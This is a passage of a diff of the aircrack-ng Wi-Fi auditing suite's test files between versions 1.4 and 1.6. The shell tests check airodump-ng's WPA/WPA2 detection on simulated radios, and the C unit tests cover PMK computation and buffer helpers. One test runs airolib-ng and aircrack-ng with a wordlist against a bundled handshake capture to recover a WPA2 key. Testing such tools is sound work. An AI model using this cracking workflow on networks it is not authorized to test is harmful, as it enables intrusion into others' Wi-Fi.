+	echo "Expected 'OWE,AES-CCM,SAE', got ${ENCRYPTION_SECTION}"
+	rm -f ${TEMP_FILE}-01.*
+	exit 1
+fi
+
+# Cleanup
+rm -f ${TEMP_FILE}-01.*
+
+exit 0

aircrack-ng-1.6.tar.gz/test/test-airodump-ng-0004.sh Added

@@ -0,0 +1,114 @@
+#!/bin/sh
+# Airodump-ng: Test WPA2 detection
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present screen
+is_tool_present hostapd
+
+# Check for interfering processes
+airmon_ng_check
+
+# Cleanup
+finish() {
+	screen_cleanup
+	[ -n "${TEMP_FILE}" ] && [ -f "${TEMP_FILE}-01.csv" ] && rm -f ${TEMP_FILE}*
+	cleanup
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 1
+
+# Check there are two radios
+check_radios_present 1
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+
+# Start hostapd with WPA2 CCMP
+cat >> ${TEMP_HOSTAPD_CONF_FILE} << EOF
+interface=${WI_IFACE}
+ssid=test
+channel=1
+wpa=2
+wpa_passphrase=password
+rsn_pairwise=CCMP
+# Airodump-ng test 4
+EOF
+
+# Start hostapd
+run_hostapd ${TEMP_HOSTAPD_CONF_FILE}
+
+# Start hwsim0
+ip link set hwsim0 up
+
+TEMP_FILE=$(mktemp -u)
+screen -AmdS capture \
+	timeout 4 \
+		"${abs_builddir}/../airodump-ng" \
+			hwsim0 \
+			-c 1 \
+			-w ${TEMP_FILE} \
+			--background 1
+
+# Wait a few seconds for it to finish
+sleep 6
+
+# Some cleanup
+cleanup
+
+# Check CSV
+ENCRYPTION_SECTION="$(head -n 3 ${TEMP_FILE}-01.csv | tail -n 1 | ${AWK} -F, '{print $6 $7 $8}')"
+if [ -z "${ENCRYPTION_SECTION}" ]; then
+	echo "Something failed with airodump-ng, did not get info from CSV"
+	rm -f ${TEMP_FILE}-01.*
+	exit 1
+elif [ "$(echo ${ENCRYPTION_SECTION} | tr -d ' ')" != 'WPA2CCMPPSK' ]; then
+	echo "Encryption section is not what is expected. Got ${ENCRYPTION_SECTION}"
+	rm -f ${TEMP_FILE}-01.*
+	exit 1
+fi
+
+# Check NetXML
+if [ ! -f ${TEMP_FILE}-01.kismet.netxml ]; then
+	echo "Kismet netxml file not found"
+	rm -f ${TEMP_FILE}-01.*
+	exit 1
+fi
+ENCRYPTION_SECTION="$(${GREP} '<encryption>WPA+PSK</encryption>' ${TEMP_FILE}-01.kismet.netxml)"
+if [ -z "${ENCRYPTION_SECTION}" ] || [ -z "$(${GREP} '<encryption>WPA+AES-CCM</encryption>' ${TEMP_FILE}-01.kismet.netxml)" ]; then
+        echo "Failed to find PSK and CCMP in the kismet netxml"
+	cat ${TEMP_FILE}-01.kismet.netxml
+	rm -f ${TEMP_FILE}-01.*
+        exit 1
+fi
+
+# Check Kismet CSV
+if [ ! -f ${TEMP_FILE}-01.kismet.csv ]; then
+	echo 'Kismet CSV not found'
+	rm -f ${TEMP_FILE}-01.*
+	exit 1
+fi
+ENCRYPTION_SECTION="$(tail -n 1 ${TEMP_FILE}-01.kismet.csv | ${AWK} -F\; '{print $8}')"
+if [ "x${ENCRYPTION_SECTION}" != 'xWPA2,AES-CCM' ]; then
+	echo "Encryption section not found or invalid in Kismet CSV"
+	echo "Expected 'WPA2,AES-CCM', got ${ENCRYPTION_SECTION}"
+	rm -f ${TEMP_FILE}-01.*
+	exit 1
+fi
+
+# Cleanup
+rm -f ${TEMP_FILE}-01.*
+
+exit 0

aircrack-ng-1.6.tar.gz/test/test-airodump-ng-0005.sh Added

@@ -0,0 +1,102 @@
+#!/bin/sh
+# Airodump-ng: Test WPA PSK TKIP detection
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present screen
+is_tool_present hostapd
+
+# Check for interfering processes
+airmon_ng_check
+
+# Cleanup
+finish() {
+	screen_cleanup
+	[ -n "${TEMP_FILE}" ] && [ -f "${TEMP_FILE}-01.csv" ] && rm -f ${TEMP_FILE}*
+	cleanup
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 1
+
+# Check there are two radios
+check_radios_present 1
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+
+# Start hostapd with WPA PSK TKIP
+cat >> ${TEMP_HOSTAPD_CONF_FILE} << EOF
+interface=${WI_IFACE}
+ssid=test
+channel=1
+wpa=1
+wpa_pairwise=TKIP
+wpa_passphrase=password
+# Airodump-ng test 5
+EOF
+
+# Start hostapd
+run_hostapd ${TEMP_HOSTAPD_CONF_FILE}
+
+# Start hwsim0
+ip link set hwsim0 up
+
+TEMP_FILE=$(mktemp -u)
+screen -AmdS capture \
+	timeout 4 \
+		"${abs_builddir}/../airodump-ng" \
+			hwsim0 \
+			-c 1 \
+			-w ${TEMP_FILE} \
+			--background 1
+
+# Wait a few seconds for it to finish
+sleep 6
+
+# Check CSV
+ENCRYPTION_SECTION="$(head -n 3 ${TEMP_FILE}-01.csv | tail -n 1 | ${AWK} -F, '{print $6 $7 $8}')"
+if [ -z "${ENCRYPTION_SECTION}" ]; then
+	echo "Something failed with airodump-ng, did not get info from CSV"
+	exit 1
+elif [ "$(echo ${ENCRYPTION_SECTION} | tr -d ' ')" != 'WPATKIPPSK' ]; then
+	echo "Encryption section is not what is expected. Got ${ENCRYPTION_SECTION}"
+	exit 1
+fi
+
+# Check NetXML
+if [ ! -f ${TEMP_FILE}-01.kismet.netxml ]; then
+	echo "Kismet netxml file not found"
+	exit 1
+fi
+ENCRYPTION_SECTION="$(${GREP} '<encryption>WPA+PSK</encryption>' ${TEMP_FILE}-01.kismet.netxml)"
+if [ -z "${ENCRYPTION_SECTION}" ] || [ -z "$(${GREP} '<encryption>WPA+TKIP</encryption>' ${TEMP_FILE}-01.kismet.netxml)" ]; then
+        echo "Failed to find PSK and TKIP in the kismet netxml"
+	cat ${TEMP_FILE}-01.kismet.netxml
+        exit 1
+fi
+
+# Check Kismet CSV
+if [ ! -f ${TEMP_FILE}-01.kismet.csv ]; then
+	echo 'Kismet CSV not found'=
+	exit 1
+fi
+ENCRYPTION_SECTION="$(tail -n 1 ${TEMP_FILE}-01.kismet.csv | ${AWK} -F\; '{print $8}')"
+if [ "x${ENCRYPTION_SECTION}" != 'xWPA,TKIP' ]; then
+	echo "Encryption section not found or invalid in Kismet CSV"
+	echo "Expected 'WPA,TKIP', got ${ENCRYPTION_SECTION}"
+	exit 1
+fi
+
+exit 0
\ No newline at end of file

aircrack-ng-1.4.tar.gz/test/test-airolib-ng-0001.sh -> aircrack-ng-1.6.tar.gz/test/test-airolib-ng-0001.sh Changed

aircrack-ng-1.4.tar.gz/test/test-airolib-sqlite.sh -> aircrack-ng-1.6.tar.gz/test/test-airolib-sqlite.sh Changed

@@ -3,7 +3,7 @@
 # Carlos Alberto Lopez Perez <clopez@igalia.com>
 #
 TESTDIR="$(dirname $0)"
-if test -f /etc/alpine-release; then
+if test -f /etc/alpine-release -o "$(uname -s)" = "OpenBSD"; then
     tmpfile="$(mktemp -u -t acng.XXXXXX)"
 else
     tmpfile="$(mktemp -u -t acng.XXXX)"
@@ -11,16 +11,16 @@
 # Clean on exit
 trap "rm -fr "${tmpdir}"" INT QUIT SEGV PIPE ALRM TERM EXIT
 
-echo Harkonen | "${top_builddir}/src/airolib-ng${EXEEXT}" "${tmpfile}" --import essid -
+echo Harkonen | "${abs_builddir}/../airolib-ng${EXEEXT}" "${tmpfile}" --import essid -
 [ $? -ne 0 ] && exit 1
 
-"${top_builddir}/src/airolib-ng${EXEEXT}" "${tmpfile}" --import passwd "${TESTDIR}/password.lst"
+"${abs_builddir}/../airolib-ng${EXEEXT}" "${tmpfile}" --import passwd "${TESTDIR}/password.lst"
 [ $? -ne 0 ] && exit 1
 
-"${top_builddir}/src/airolib-ng${EXEEXT}" "${tmpfile}" --batch | grep "Computed 233 PMK"
+"${abs_builddir}/../airolib-ng${EXEEXT}" "${tmpfile}" --batch | ${GREP} "Computed 233 PMK"
 [ $? -ne 0 ] && exit 1
 
-"${top_builddir}/src//aircrack-ng${EXEEXT}" -q -e Harkonen  -r "${tmpfile}"  "${TESTDIR}/wpa2.eapol.cap" | grep 'KEY FOUND! \[ 12345678 \]'
+"${abs_builddir}/../aircrack-ng${EXEEXT}" -q -e Harkonen  -r "${tmpfile}"  "${TESTDIR}/wpa2.eapol.cap" | ${GREP} 'KEY FOUND! \[ 12345678 \]'
 [ $? -ne 0 ] && exit 1
 
 exit 0

aircrack-ng-1.6.tar.gz/test/test-alltools.sh Added

aircrack-ng-1.4.tar.gz/test/test-env.sh.in -> aircrack-ng-1.6.tar.gz/test/test-env.sh.in Changed

aircrack-ng-1.4.tar.gz/test/test-hex_string_to_array.c -> aircrack-ng-1.6.tar.gz/test/test-hex_string_to_array.c Changed

aircrack-ng-1.4.tar.gz/test/test-wpaclean-0001.sh -> aircrack-ng-1.6.tar.gz/test/test-wpaclean-0001.sh Changed

aircrack-ng-1.4.tar.gz/test/test-wpaclean-0002.sh -> aircrack-ng-1.6.tar.gz/test/test-wpaclean-0002.sh Changed

aircrack-ng-1.6.tar.gz/test/unit/Makefile.inc Added

@@ -0,0 +1,105 @@
+# Aircrack-ng
+#
+# Copyright (C) 2018 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+UNIT_COMMON_CFLAGS =	$(PTHREAD_CFLAGS) \
+											$(CRYPTO_CFLAGS) \
+											$(ZLIB_CFLAGS) \
+											$(CMOCKA_CFLAGS)
+
+UNIT_COMMON_LDADD  =	$(PTHREAD_LIBS) \
+											$(CRYPTO_LIBS) \
+											$(ZLIB_LIBS) \
+											$(LIBAIRCRACK_LIBS) \
+											$(CMOCKA_LIBS)
+
+test_calc_one_pmk_SOURCES = %D%/test-calc-one-pmk.c
+test_calc_one_pmk_CFLAGS  = $(UNIT_COMMON_CFLAGS)
+test_calc_one_pmk_LDFLAGS = -rdynamic
+test_calc_one_pmk_LDADD   = $(LIBAIRCRACK_CE_WPA_LIBS) \
+														$(UNIT_COMMON_LDADD)
+
+test_circular_buffer_SOURCES = %D%/test-circular-buffer.c
+test_circular_buffer_CFLAGS  = $(UNIT_COMMON_CFLAGS)
+test_circular_buffer_LDFLAGS = -rdynamic
+test_circular_buffer_LDADD   = $(LIBAIRCRACK_LIBS) $(UNIT_COMMON_LDADD)
+
+test_circular_queue_SOURCES = %D%/test-circular-queue.c
+test_circular_queue_CFLAGS  = $(UNIT_COMMON_CFLAGS)
+test_circular_queue_LDFLAGS = -rdynamic
+test_circular_queue_LDADD   = $(LIBAIRCRACK_LIBS) $(UNIT_COMMON_LDADD)
+
+test_string_has_suffix_SOURCES = %D%/test-string-has-suffix.c
+test_string_has_suffix_CFLAGS  = $(UNIT_COMMON_CFLAGS)
+test_string_has_suffix_LDFLAGS = -rdynamic
+test_string_has_suffix_LDADD   = $(LIBAIRCRACK_LIBS) $(UNIT_COMMON_LDADD)
+
+test_wpapsk_SOURCES = %D%/test-wpapsk.c
+test_wpapsk_CFLAGS  = "-DLIBAIRCRACK_CE_WPA_PATH=\"$(LIBAIRCRACK_CE_WPA_PATH)\"" \
+											"-DABS_TOP_SRCDIR=\"$(abs_top_srcdir)\"" \
+											"-DABS_TOP_BUILDDIR=\"$(abs_top_builddir)\"" \
+											"-DLIBDIR=\"$(libdir)\"" \
+											$(UNIT_COMMON_CFLAGS)
+test_wpapsk_LDFLAGS = -rdynamic
+test_wpapsk_LDADD   = $(LIBAIRCRACK_CE_WPA_LIBS) \
+											$(LIBAIRCRACK_LIBS) \
+											$(UNIT_COMMON_LDADD)
+
+test_wpapsk_cmac_SOURCES = %D%/test-wpapsk-cmac.c
+test_wpapsk_cmac_CFLAGS  =	"-DLIBAIRCRACK_CE_WPA_PATH=\"$(LIBAIRCRACK_CE_WPA_PATH)\"" \
+														"-DABS_TOP_SRCDIR=\"$(abs_top_srcdir)\"" \
+														"-DABS_TOP_BUILDDIR=\"$(abs_top_builddir)\"" \
+														"-DLIBDIR=\"$(libdir)\"" \
+														$(UNIT_COMMON_CFLAGS)
+test_wpapsk_cmac_LDFLAGS = -rdynamic
+test_wpapsk_cmac_LDADD   = $(LIBAIRCRACK_LIBS) \
+												   $(UNIT_COMMON_LDADD)
+
+TESTS += test-calc-one-pmk test-circular-buffer test-circular-queue test-string-has-suffix
+
+if !STATIC_BUILD
+TESTS += test-wpapsk
+TESTS += test-wpapsk-cmac
+endif
+
+check_PROGRAMS += test-calc-one-pmk test-circular-buffer test-circular-queue test-string-has-suffix
+
+if !STATIC_BUILD
+check_PROGRAMS += test-wpapsk
+check_PROGRAMS += test-wpapsk-cmac
+endif

aircrack-ng-1.4.tar.gz/test/unit/test-calc-one-pmk.c -> aircrack-ng-1.6.tar.gz/test/unit/test-calc-one-pmk.c Changed

@@ -1,3 +1,7 @@
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <stdarg.h>
 #include <stddef.h>
 #include <setjmp.h>
@@ -7,28 +11,32 @@
 #include <stdio.h>
 #include <stdlib.h>
 
-#include "aircrack-crypto/crypto_engine.h"
+#include "aircrack-ng/ce-wpa/crypto_engine.h"
 
-static void test_calc_one_pmk(void **state)
+static void test_calc_one_pmk(void ** state)
 {
+	(void) state;
+
 	uint8_t essid[] = "linksys";
 	uint8_t key[] = "password";
 	uint8_t pmk[40] = {0};
-	uint8_t expected[40] = {0xec, 0xc9, 0x99, 0x1e, 0x3c, 0xfb, 0x1b, 0x11,
-							0x7b, 0xdb, 0xbd, 0x0,  0xde, 0xb4, 0x7,  0xf0,
-							0x23, 0x29, 0x44, 0xb5, 0x68, 0x21, 0x64, 0x7e,
-							0x23, 0x49, 0x13, 0x9d, 0x2,  0xfd, 0x2b, 0xfb,
-							0x31, 0x83, 0x94, 0x12, 0x36, 0x89, 0x8e, 0xf7};
+	uint8_t expected[40]
+		= {0xec, 0xc9, 0x99, 0x1e, 0x3c, 0xfb, 0x1b, 0x11, 0x7b, 0xdb,
+		   0xbd, 0x0,  0xde, 0xb4, 0x7,  0xf0, 0x23, 0x29, 0x44, 0xb5,
+		   0x68, 0x21, 0x64, 0x7e, 0x23, 0x49, 0x13, 0x9d, 0x2,  0xfd,
+		   0x2b, 0xfb, 0x31, 0x83, 0x94, 0x12, 0x36, 0x89, 0x8e, 0xf7};
 
 	memset(pmk, 0, sizeof(pmk));
-	ac_crypto_engine_calc_one_pmk(key, essid, strlen((char*) essid), pmk);
+	ac_crypto_engine_calc_one_pmk(key, essid, strlen((char *) essid), pmk);
 
 	assert_int_equal(sizeof(pmk), sizeof(expected));
 	assert_memory_equal(pmk, expected, sizeof(expected));
 }
 
-static void test_calc_pmk(void **state)
+static void test_calc_pmk(void ** state)
 {
+	(void) state;
+
 	uint8_t essid[33] = "linksys";
 	wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED];
 	ac_crypto_engine_t engine;
@@ -45,24 +53,27 @@
 
 	ac_crypto_engine_calc_pmk(&engine, key, 1, 1);
 
-	uint8_t expected[40] = {0xec, 0xc9, 0x99, 0x1e, 0x3c, 0xfb, 0x1b, 0x11,
-							0x7b, 0xdb, 0xbd, 0x0,  0xde, 0xb4, 0x7,  0xf0,
-							0x23, 0x29, 0x44, 0xb5, 0x68, 0x21, 0x64, 0x7e,
-							0x23, 0x49, 0x13, 0x9d, 0x2,  0xfd, 0x2b, 0xfb,
-							0x31, 0x83, 0x94, 0x12, 0x36, 0x89, 0x8e, 0xf7};
+	uint8_t expected[40]
+		= {0xec, 0xc9, 0x99, 0x1e, 0x3c, 0xfb, 0x1b, 0x11, 0x7b, 0xdb,
+		   0xbd, 0x0,  0xde, 0xb4, 0x7,  0xf0, 0x23, 0x29, 0x44, 0xb5,
+		   0x68, 0x21, 0x64, 0x7e, 0x23, 0x49, 0x13, 0x9d, 0x2,  0xfd,
+		   0x2b, 0xfb, 0x31, 0x83, 0x94, 0x12, 0x36, 0x89, 0x8e, 0xf7};
 
-	assert_memory_equal(
-		(unsigned char*) (engine.thread_data[1]->pmk), expected, sizeof(expected));
+	assert_memory_equal((unsigned char *) (engine.thread_data[1]->pmk),
+						expected,
+						sizeof(expected));
 
 	ac_crypto_engine_thread_destroy(&engine, 1);
 	ac_crypto_engine_destroy(&engine);
 }
 
-int main(int argc, char *argv[])
+int main(int argc, char * argv[])
 {
+	(void) argc;
+	(void) argv;
+
 	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(test_calc_one_pmk),
-		cmocka_unit_test(test_calc_pmk),
+		cmocka_unit_test(test_calc_one_pmk), cmocka_unit_test(test_calc_pmk),
 	};
 	return cmocka_run_group_tests(tests, NULL, NULL);
 }

aircrack-ng-1.6.tar.gz/test/unit/test-circular-buffer.c Added

@@ -0,0 +1,206 @@
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <setjmp.h>
+#include <cmocka.h>
+
+#include "aircrack-ng/adt/circular_buffer.h"
+
+static void test_cbuf_init_and_empty(void ** state)
+{
+	(void) state;
+
+	// GIVEN
+	const size_t size = 64;
+	uint8_t buffer[size];
+
+	// WHEN
+	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, 1);
+
+	// THEN
+	assert_non_null(cbuf);
+	assert_true(circular_buffer_is_empty(cbuf));
+	assert_false(circular_buffer_is_full(cbuf));
+	assert_int_equal(size, circular_buffer_capacity(cbuf));
+	assert_int_equal(0, circular_buffer_size(cbuf));
+
+	// END
+	circular_buffer_free(cbuf);
+}
+
+static void test_cbuf_byte_size_one_element(void ** state)
+{
+	(void) state;
+
+	// GIVEN
+	const size_t size = 2;
+	uint8_t buffer[size];
+	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, 1);
+
+	// WHEN
+	circular_buffer_put(cbuf, "a", 1);
+
+	// THEN
+	assert_int_equal(1, circular_buffer_size(cbuf));
+	assert_false(circular_buffer_is_empty(cbuf));
+	assert_false(circular_buffer_is_full(cbuf));
+
+	// END
+	circular_buffer_free(cbuf);
+}
+
+static void test_cbuf_byte_size_two_element(void ** state)
+{
+	(void) state;
+
+	// GIVEN
+	const size_t size = 2;
+	uint8_t buffer[size];
+	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, 1);
+
+	// WHEN
+	circular_buffer_put(cbuf, "a", 1);
+	circular_buffer_put(cbuf, "b", 1);
+
+	// THEN
+	assert_int_equal(2, circular_buffer_size(cbuf));
+	assert_false(circular_buffer_is_empty(cbuf));
+	assert_true(circular_buffer_is_full(cbuf));
+
+	// END
+	circular_buffer_free(cbuf);
+}
+
+static void test_cbuf_multibyte_compare_buffer(void ** state)
+{
+	(void) state;
+
+	// GIVEN
+	const size_t nb_elements = 2;
+	const size_t elementSize = 8;
+	const size_t size = nb_elements * elementSize;
+	uint8_t buffer[size + 1];
+	buffer[size] = 0;
+	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, elementSize);
+
+	// WHEN
+	circular_buffer_put(cbuf, "a1234567", 8);
+	circular_buffer_put(cbuf, "b1234567", 8);
+
+	// THEN
+	assert_int_equal(nb_elements, circular_buffer_size(cbuf));
+	assert_false(circular_buffer_is_empty(cbuf));
+	assert_true(circular_buffer_is_full(cbuf));
+	assert_string_equal("a1234567b1234567", buffer);
+
+	// END
+	circular_buffer_free(cbuf);
+}
+
+static void test_cbuf_multibyte_compare_buffer_of_short_put(void ** state)
+{
+	(void) state;
+
+	// GIVEN
+	const size_t nb_elements = 2;
+	const size_t elementSize = 8;
+	const size_t size = nb_elements * elementSize;
+	uint8_t buffer[size + 1];
+	buffer[size] = 0;
+	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, elementSize);
+
+	// WHEN
+	circular_buffer_put(cbuf, "a123", 4);
+	circular_buffer_put(cbuf, "b1234567", 8);
+
+	// THEN
+	assert_int_equal(nb_elements, circular_buffer_size(cbuf));
+	assert_false(circular_buffer_is_empty(cbuf));
+	assert_true(circular_buffer_is_full(cbuf));
+	assert_memory_equal("a123\0\0\0\0b1234567", buffer, size);
+
+	// END
+	circular_buffer_free(cbuf);
+}
+
+static void test_cbuf_multibyte_get_first(void ** state)
+{
+	(void) state;
+
+	// GIVEN
+	const size_t nb_elements = 2;
+	const size_t elementSize = 8;
+	const size_t size = nb_elements * elementSize;
+	uint8_t buffer[size + 1];
+	buffer[size] = 0;
+	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, elementSize);
+
+	// WHEN
+	circular_buffer_put(cbuf, "a123", 4);
+	circular_buffer_put(cbuf, "b1234567", 8);
+
+	uint8_t output[size];
+	void * p_output = &output[0];
+	circular_buffer_get(cbuf, &p_output, 8);
+
+	// THEN
+	assert_memory_equal("a123\0\0\0\0", output, 8);
+
+	// END
+	circular_buffer_free(cbuf);
+}
+
+static void test_cbuf_multibyte_get_both(void ** state)
+{
+	(void) state;
+
+	// GIVEN
+	const size_t nb_elements = 2;
+	const size_t elementSize = 8;
+	const size_t size = nb_elements * elementSize;
+	uint8_t buffer[size + 1];
+	buffer[size] = 0;
+	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, elementSize);
+
+	// WHEN
+	circular_buffer_put(cbuf, "a123", 4);
+	circular_buffer_put(cbuf, "b1234567", 8);
+
+	uint8_t output[size];
+	void * p_output = &output[0];
+	circular_buffer_get(cbuf, &p_output, 8);
+
+	// THEN
+	assert_memory_equal("a123\0\0\0\0", output, 8);
+
+	// AND WHEN
+	circular_buffer_get(cbuf, &p_output, 8);
+
+	// AND THEN
+	assert_memory_equal("b1234567", output, 8);
+
+	// END
+	circular_buffer_free(cbuf);
+}
+
+int main(int argc, char * argv[])
+{
+	(void) argc;
+	(void) argv;
+
+	const struct CMUnitTest tests[] = {
+		cmocka_unit_test(test_cbuf_init_and_empty),
+		cmocka_unit_test(test_cbuf_byte_size_one_element),
+		cmocka_unit_test(test_cbuf_byte_size_two_element),
+		cmocka_unit_test(test_cbuf_multibyte_compare_buffer_of_short_put),
+		cmocka_unit_test(test_cbuf_multibyte_compare_buffer),
+		cmocka_unit_test(test_cbuf_multibyte_get_first),
+		cmocka_unit_test(test_cbuf_multibyte_get_both),
+	};
+	return cmocka_run_group_tests(tests, NULL, NULL);
+}

aircrack-ng-1.6.tar.gz/test/unit/test-circular-queue.c Added

aircrack-ng-1.4.tar.gz/test/unit/test-string-has-suffix.c -> aircrack-ng-1.6.tar.gz/test/unit/test-string-has-suffix.c Changed

@@ -1,58 +1,79 @@
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <stdarg.h>
 #include <stddef.h>
 #include <setjmp.h>
 #include <cmocka.h>
 
-#include "aircrack-util/common.h"
+#include "aircrack-ng/osdep/byteorder.h"
+#include "radiotap/platform.h"
+#include "aircrack-ng/support/common.h"
+
+static void test_radiotap_unaligned_access(void ** state)
+{
+	(void) state;
+
+	const char bytes[] = {0x00, 0x01, 0x02, 0x00};
 
-static void test_string_has_suffix(void **state)
+	assert_true(get_unaligned_le16(bytes + 1) == 0x0201); //-V1032
+}
+
+static void test_string_has_suffix(void ** state)
 {
-	assert_true( string_has_suffix("", ""));
+	(void) state;
+
+	assert_true(string_has_suffix("", ""));
 	assert_true(!string_has_suffix("", "a"));
-	assert_true( string_has_suffix("a", ""));
-	assert_true( string_has_suffix("a", "a"));
+	assert_true(string_has_suffix("a", ""));
+	assert_true(string_has_suffix("a", "a"));
 	assert_true(!string_has_suffix("a", "b"));
 	assert_true(!string_has_suffix("a", "ba"));
-	assert_true( string_has_suffix("abc", "abc"));
+	assert_true(string_has_suffix("abc", "abc"));
 	assert_true(!string_has_suffix("abc", "eeabc"));
 	assert_true(!string_has_suffix("abc", "xbc"));
 	assert_true(!string_has_suffix("abc", "axc"));
 	assert_true(!string_has_suffix("abcdef", "abcxef"));
 	assert_true(!string_has_suffix("abcdef", "abxxef"));
-	assert_true( string_has_suffix("b.a", ""));
-	assert_true( string_has_suffix("b.a", "a"));
-	assert_true( string_has_suffix("b.a", ".a"));
-	assert_true( string_has_suffix("b.a", "b.a"));
+	assert_true(string_has_suffix("b.a", ""));
+	assert_true(string_has_suffix("b.a", "a"));
+	assert_true(string_has_suffix("b.a", ".a"));
+	assert_true(string_has_suffix("b.a", "b.a"));
 	assert_true(!string_has_suffix("b.a", "x"));
-	assert_true( string_has_suffix("abc.foo.bar", ""));
-	assert_true( string_has_suffix("abc.foo.bar", "r"));
-	assert_true( string_has_suffix("abc.foo.bar", "ar"));
-	assert_true( string_has_suffix("abc.foo.bar", "bar"));
+	assert_true(string_has_suffix("abc.foo.bar", ""));
+	assert_true(string_has_suffix("abc.foo.bar", "r"));
+	assert_true(string_has_suffix("abc.foo.bar", "ar"));
+	assert_true(string_has_suffix("abc.foo.bar", "bar"));
 	assert_true(!string_has_suffix("abc.foo.bar", "xar"));
-	assert_true( string_has_suffix("abc.foo.bar", ".bar"));
-	assert_true( string_has_suffix("abc.foo.bar", "foo.bar"));
+	assert_true(string_has_suffix("abc.foo.bar", ".bar"));
+	assert_true(string_has_suffix("abc.foo.bar", "foo.bar"));
 	assert_true(!string_has_suffix("abc.foo.bar", "xoo.bar"));
 	assert_true(!string_has_suffix("abc.foo.bar", "foo.ba"));
-	assert_true( string_has_suffix("abc.foo.bar", ".foo.bar"));
-	assert_true( string_has_suffix("abc.foo.bar", "c.foo.bar"));
-	assert_true( string_has_suffix("abc.foo.bar", "abc.foo.bar"));
+	assert_true(string_has_suffix("abc.foo.bar", ".foo.bar"));
+	assert_true(string_has_suffix("abc.foo.bar", "c.foo.bar"));
+	assert_true(string_has_suffix("abc.foo.bar", "abc.foo.bar"));
 	assert_true(!string_has_suffix("abc.foo.bar", "xabc.foo.bar"));
 	assert_true(!string_has_suffix("abc.foo.bar", "ac.foo.bar"));
-	assert_true( string_has_suffix("abc.foo.foo", ".foo"));
-	assert_true( string_has_suffix("abc.foo.foo", ".foo.foo"));
-	assert_true( string_has_suffix("abcdefgh", ""));
+	assert_true(string_has_suffix("abc.foo.foo", ".foo"));
+	assert_true(string_has_suffix("abc.foo.foo", ".foo.foo"));
+	assert_true(string_has_suffix("abcdefgh", ""));
 	assert_true(!string_has_suffix("abcdefgh", " "));
-	assert_true( string_has_suffix("abcdefgh", "h"));
-	assert_true( string_has_suffix("abcdefgh", "gh"));
-	assert_true( string_has_suffix("abcdefgh", "fgh"));
+	assert_true(string_has_suffix("abcdefgh", "h"));
+	assert_true(string_has_suffix("abcdefgh", "gh"));
+	assert_true(string_has_suffix("abcdefgh", "fgh"));
 	assert_true(!string_has_suffix("abcdefgh", "agh"));
-	assert_true( string_has_suffix("abcdefgh", "abcdefgh"));
+	assert_true(string_has_suffix("abcdefgh", "abcdefgh"));
 }
 
-int main(int argc, char *argv[])
+int main(int argc, char * argv[])
 {
+	(void) argc;
+	(void) argv;
+
 	const struct CMUnitTest tests[] = {
 		cmocka_unit_test(test_string_has_suffix),
+		cmocka_unit_test(test_radiotap_unaligned_access),
 	};
 	return cmocka_run_group_tests(tests, NULL, NULL);
 }

aircrack-ng-1.4.tar.gz/test/unit/test-wpapsk-cmac.c -> aircrack-ng-1.6.tar.gz/test/unit/test-wpapsk-cmac.c Changed

@@ -30,6 +30,10 @@
  * files in the program, then also delete it here.
  */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <stdarg.h>
 #include <stddef.h>
 #include <setjmp.h>
@@ -40,18 +44,11 @@
 #include <stdlib.h>
 #include <sys/types.h>
 
-#ifdef USE_GCRYPT
-#include "gcrypt-openssl-wrapper.h"
-#include "sha1-git.h"
-#else
-#include <openssl/hmac.h>
-#include <openssl/sha.h>
-#endif
-
-#include "aircrack-util/common.h"
-#include "aircrack-util/trampoline.h"
-#include "aircrack-crypto/crypto_engine.h"
-#include "aircrack-util/crypto_engine_loader.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/cpu/trampoline.h"
+#include "aircrack-ng/ce-wpa/crypto_engine.h"
+#include "aircrack-ng/support/crypto_engine_loader.h"
 
 /*
  * We must force linking to one of the support crypto libraries; however,
@@ -66,41 +63,43 @@
  * So, we force a bit of hacks to ensure we do link against it.
  */
 #ifdef USE_GCRYPT
